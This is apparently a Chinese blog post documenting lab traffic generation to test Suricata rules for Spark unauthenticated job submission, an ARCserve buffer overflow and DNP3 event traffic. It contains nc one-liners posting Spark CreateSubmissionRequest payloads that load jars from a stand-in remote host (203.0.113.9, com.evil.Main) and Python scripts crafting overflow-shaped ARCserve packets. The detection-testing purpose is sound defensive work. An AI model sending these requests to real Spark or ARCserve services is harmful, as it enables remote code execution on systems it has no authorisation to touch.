编写spark未授权漏洞、ARCserve缓冲区溢出漏洞、DNP3协议擦除缓存的suricata规则-测试(9004135-9004152)

1.测试规则(9004135-9004146)

1.主机B开启6066服务监听
nc -l -k -p 6066 >/dev/null

2.主机B抓取测试流量
tshark -i eno2 -f "tcp port 6066 and host 10.10.10.1" -w spark_submit.pcap

3.主机A发送请求至6066
DST=10.10.10.2; PORT=6066
printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 120\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"file:/tmp/a.jar","mainClass":"com.test.Main"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

printf 'POST /submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 180\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"http://203.0.113.9/payload.jar","mainClass":"com.evil.Main"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 185\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"https://203.0.113.9/payload.jar","mainClass":"com.evil.Main"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 175\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"http://203.0.113.9/p.py","mainClass":"org.apache.spark.deploy.PythonRunner"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 200\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"file:/tmp/ok.jar","mainClass":"com.ok.Main","spark.jars":"http://203.0.113.9/x.jar"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 205\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"file:/tmp/ok.jar","mainClass":"com.ok.Main","spark.files":"http://203.0.113.9/a.conf"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null

for i in 1 2 3; do
  printf 'POST /v1/submissions/create HTTP/1.1\r\nHost: %s\r\nContent-Type: application/json\r\nContent-Length: 95\r\n\r\n{"action":"CreateSubmissionRequest","appResource":"file:/tmp/a.jar","mainClass":"c.M"}' "$DST" | nc -n -w 2 "$DST" "$PORT" >/dev/null
done

4.主机B分析测试流量
tshark -r spark_submit.pcap -q -z conv,tcp
tshark -r spark_submit.pcap -Y 'tcp.len>0' -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream
tshark -r spark_submit.pcap -o tcp.desegment_tcp_streams:TRUE -q -z follow,tcp,ascii,0

 2.测试规则(9004147-9004152)

1.主机B开启监听6050服务
nc -l -k -p 6050 >/dev/null

2.主机A发送请求至6050
import socket
import struct
from typing import Optional

DST_IP = "10.10.10.2"
DST_PORT = 6050

def build_payload(total_len: int, marker_offset: Optional[int], arg_len_at6: int) -> bytes:
    """
    目标:命中你给的规则集合(基于“payload 绝对偏移”的写法)
    - payload[0:2] 16-bit LE: 33..8191 (用 total_len 填)
    - payload[6:8] 16-bit LE: arg_len_at6
    - marker_offset 处放 E8 03 (可选)
    - 同时保证 marker 后至少 430 bytes
    """
    if not (33 < total_len < 8192):
        raise ValueError(
            "total_len must be in (33, 8192) to satisfy sid 9004147 byte_test")

    b = bytearray(b"\x00" * total_len)

    # offset 0: length-like field for sid 9004147
    b[0:2] = struct.pack("<H", total_len)

    # offset 6: suspicious length field for exploit rules
    b[6:8] = struct.pack("<H", arg_len_at6)

    # optional shape marker
    if marker_offset is not None:
        need_min = marker_offset + 2 + 430  # for isdataat:430,relative
        if total_len < need_min:
            raise ValueError(
                f"total_len too small for marker@{marker_offset}: need >= {need_min}")
        b[marker_offset:marker_offset+2] = b"\xE8\x03"  # 0x03E8

    # 填一点非零,避免全0太“假”
    for i in range(16, min(total_len, 128)):
        b[i] = (i * 7) & 0xFF

    return bytes(b)


def send_case(name: str, payload: bytes):
    print(f"[+] Sending {name}: len={len(payload)}")
    with socket.create_connection((DST_IP, DST_PORT), timeout=3) as s:
        s.sendall(payload)

def main():
    # 1) 仅打 ctx.arcserve.ua(>=64,长度字段合法),无 shape marker
    p1 = build_payload(total_len=200, marker_offset=None, arg_len_at6=100)

    # 2) 命中 shape256,但不满足 exploit(offset6 不大于 679)
    p2 = build_payload(total_len=1000, marker_offset=256, arg_len_at6=200)

    # 3) 触发 sid 9004150:shape256 + offset6=680 (0x02A8)
    p3 = build_payload(total_len=1000, marker_offset=256, arg_len_at6=680)

    # 4) 触发 sid 9004151:shape256 + offset6=2000,且 payload 足够大(>=1024)
    #    若你环境里 9004151 因 relative 锚点问题不触发,先别纠结,见下方“踩坑”建议。
    p4 = build_payload(total_len=1500, marker_offset=256, arg_len_at6=2000)

    # 5) 触发 sid 9004152:shape384 + offset6=680
    p5 = build_payload(total_len=1100, marker_offset=384, arg_len_at6=680)

    send_case("case1_ctx_only", p1)
    send_case("case2_shape256_only", p2)
    send_case("case3_exploit_9004150", p3)
    send_case("case4_exploit_9004151", p4)
    send_case("case5_exploit_9004152", p5)

if __name__ == "__main__":
    main()

3.主机B分析测试流量
tshark -r arcserve_6050.pcap -q -z conv,tcp
tshark -r arcserve_6050.pcap -Y 'tcp.port==6050' -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream -e tcp.len
tshark -r arcserve_6050.pcap -o tcp.desegment_tcp_streams:TRUE -q -z follow,tcp,ascii,0

 3.测试规则(9004153-9004165)

1.主机B开启监听
nc -lkp 20000 >/dev/null

2.主机A发送请求
import socket

DST_IP = "10.10.10.2"
DST_PORT = 20000

def send_event(event_id: int):
    # 0..27 填充,使 offset 28 对齐
    padding = b"\x00" * 28
    # offset 28.. : 01 41
    # offset 30    : event_id
    payload = padding + b"\x01\x41" + bytes([event_id]) + b"\x00\x00\x00" + b"\xAA" * 32
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((DST_IP, DST_PORT))
    s.sendall(payload)
    s.close()

if __name__ == "__main__":
    for eid in (10, 11, 12, 26, 27, 29, 31, 32, 33, 39, 45, 47):
        send_event(eid)

4.测试规则(9004166)

1.主机B开启监听
nc -lkp 20000 >/dev/null

2.主机A发送请求
import socket
DST_IP = "10.10.10.2"
DST_PORT = 20000
SIZE = 9000
data = b"A" * SIZE
with socket.create_connection((DST_IP, DST_PORT), timeout=3) as s:
    s.sendall(data)

5.测试规则(9004167)

 

posted @ 2026-01-30 15:56  岐岐卡卡西  阅读(0)  评论(0)    收藏  举报